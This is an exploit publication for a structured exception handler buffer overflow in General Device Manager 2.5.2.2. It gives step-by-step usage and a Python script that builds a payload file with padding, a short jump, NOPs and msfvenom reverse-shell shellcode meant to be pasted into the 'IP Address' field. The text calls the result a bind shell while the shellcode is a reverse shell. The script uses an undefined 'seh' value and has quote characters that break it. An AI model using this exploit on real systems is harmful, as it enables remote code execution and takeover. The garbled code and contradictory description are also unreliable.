Exploit Title: General Device Manager 2.5.2.2 - Buffer Overflow (SEH)

Date: 30.07.2023

Software Link: https://download.xm030.cn/d/MDAwMDA2NTQ=

Software Link 2:

https://www.maxiguvenlik.com/uploads/importfiles/General_DeviceManager.zip

Exploit Author: Ahmet Ümit BAYRAM

Tested Version: 2.5.2.2

Tested on: Windows 10 64bit

1.- Run python code : exploit.py

2.- Open pwned.txt and copy all content to clipboard

3.- Open Device Manage and press Add Device

4.- Paste the content of pwned.txt into the ‘IP Address’

5.- Click ‘OK’

6.- nc.exe local IP Port 1337 and you will have a bind shell

7.- R.I.P. Condor <3

################################################################

import struct

offset = b”A” * 1308

nseh = b”\xEB\x06\x90\x90” # jmp short

nops = b”\x90” * 32

#shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 EXITFUNC=thread -a x86 –platform windows -b “\x00\x0a\x0d” -f python –var-name shellcode

shellcode = b”” shellcode += b”\xd9\xc6\xbb\xae\xc7\xed\x8e\xd9\x74\x24\xf4” shellcode += b”\x5a\x29\xc9\xb1\x52\x83\xea\xfc\x31\x5a\x13” shellcode += b”\x03\xf4\xd4\x0f\x7b\xf4\x33\x4d\x84\x04\xc4” shellcode += b”\x32\x0c\xe1\xf5\x72\x6a\x62\xa5\x42\xf8\x26” shellcode += b”\x4a\x28\xac\xd2\xd9\x5c\x79\xd5\x6a\xea\x5f” shellcode += b”\xd8\x6b\x47\xa3\x7b\xe8\x9a\xf0\x5b\xd1\x54” shellcode += b”\x05\x9a\x16\x88\xe4\xce\xcf\xc6\x5b\xfe\x64” shellcode += b”\x92\x67\x75\x36\x32\xe0\x6a\x8f\x35\xc1\x3d” shellcode += b”\x9b\x6f\xc1\xbc\x48\x04\x48\xa6\x8d\x21\x02” shellcode += b”\x5d\x65\xdd\x95\xb7\xb7\x1e\x39\xf6\x77\xed” shellcode += b”\x43\x3f\xbf\x0e\x36\x49\xc3\xb3\x41\x8e\xb9” shellcode += b”\x6f\xc7\x14\x19\xfb\x7f\xf0\x9b\x28\x19\x73” shellcode += b”\x97\x85\x6d\xdb\xb4\x18\xa1\x50\xc0\x91\x44” shellcode += b”\xb6\x40\xe1\x62\x12\x08\xb1\x0b\x03\xf4\x14” shellcode += b”\x33\x53\x57\xc8\x91\x18\x7a\x1d\xa8\x43\x13” shellcode += b”\xd2\x81\x7b\xe3\x7c\x91\x08\xd1\x23\x09\x86” shellcode += b”\x59\xab\x97\x51\x9d\x86\x60\xcd\x60\x29\x91” shellcode += b”\xc4\xa6\x7d\xc1\x7e\x0e\xfe\x8a\x7e\xaf\x2b” shellcode += b”\x1c\x2e\x1f\x84\xdd\x9e\xdf\x74\xb6\xf4\xef” shellcode += b”\xab\xa6\xf7\x25\xc4\x4d\x02\xae\x94\x91\x0c” shellcode += b”\x2f\x03\x90\x0c\x2a\xea\x1d\xea\x5e\x1c\x48” shellcode += b”\xa5\xf6\x85\xd1\x3d\x66\x49\xcc\x38\xa8\xc1” shellcode += b”\xe3\xbd\x67\x22\x89\xad\x10\xc2\xc4\x8f\xb7” shellcode += b”\xdd\xf2\xa7\x54\x4f\x99\x37\x12\x6c\x36\x60” shellcode += b”\x73\x42\x4f\xe4\x69\xfd\xf9\x1a\x70\x9b\xc2” shellcode += b”\x9e\xaf\x58\xcc\x1f\x3d\xe4\xea\x0f\xfb\xe5” shellcode += b”\xb6\x7b\x53\xb0\x60\xd5\x15\x6a\xc3\x8f\xcf” shellcode += b”\xc1\x8d\x47\x89\x29\x0e\x11\x96\x67\xf8\xfd” shellcode += b”\x27\xde\xbd\x02\x87\xb6\x49\x7b\xf5\x26\xb5” shellcode += b”\x56\xbd\x47\x54\x72\xc8\xef\xc1\x17\x71\x72” shellcode += b”\xf2\xc2\xb6\x8b\x71\xe6\x46\x68\x69\x83\x43” shellcode += b”\x34\x2d\x78\x3e\x25\xd8\x7e\xed\x46\xc9”

final_payload = offset + nseh + seh + nops + shellcode

write the final payload to a file

try: with open(‘pwned.txt’, ‘wb’) as f: print(“[+] Creating %s bytes evil payload…” %len(final_payload)) f.write(final_payload) f.close() print(“[+] File created!”) except: print(“File cannot be created!”)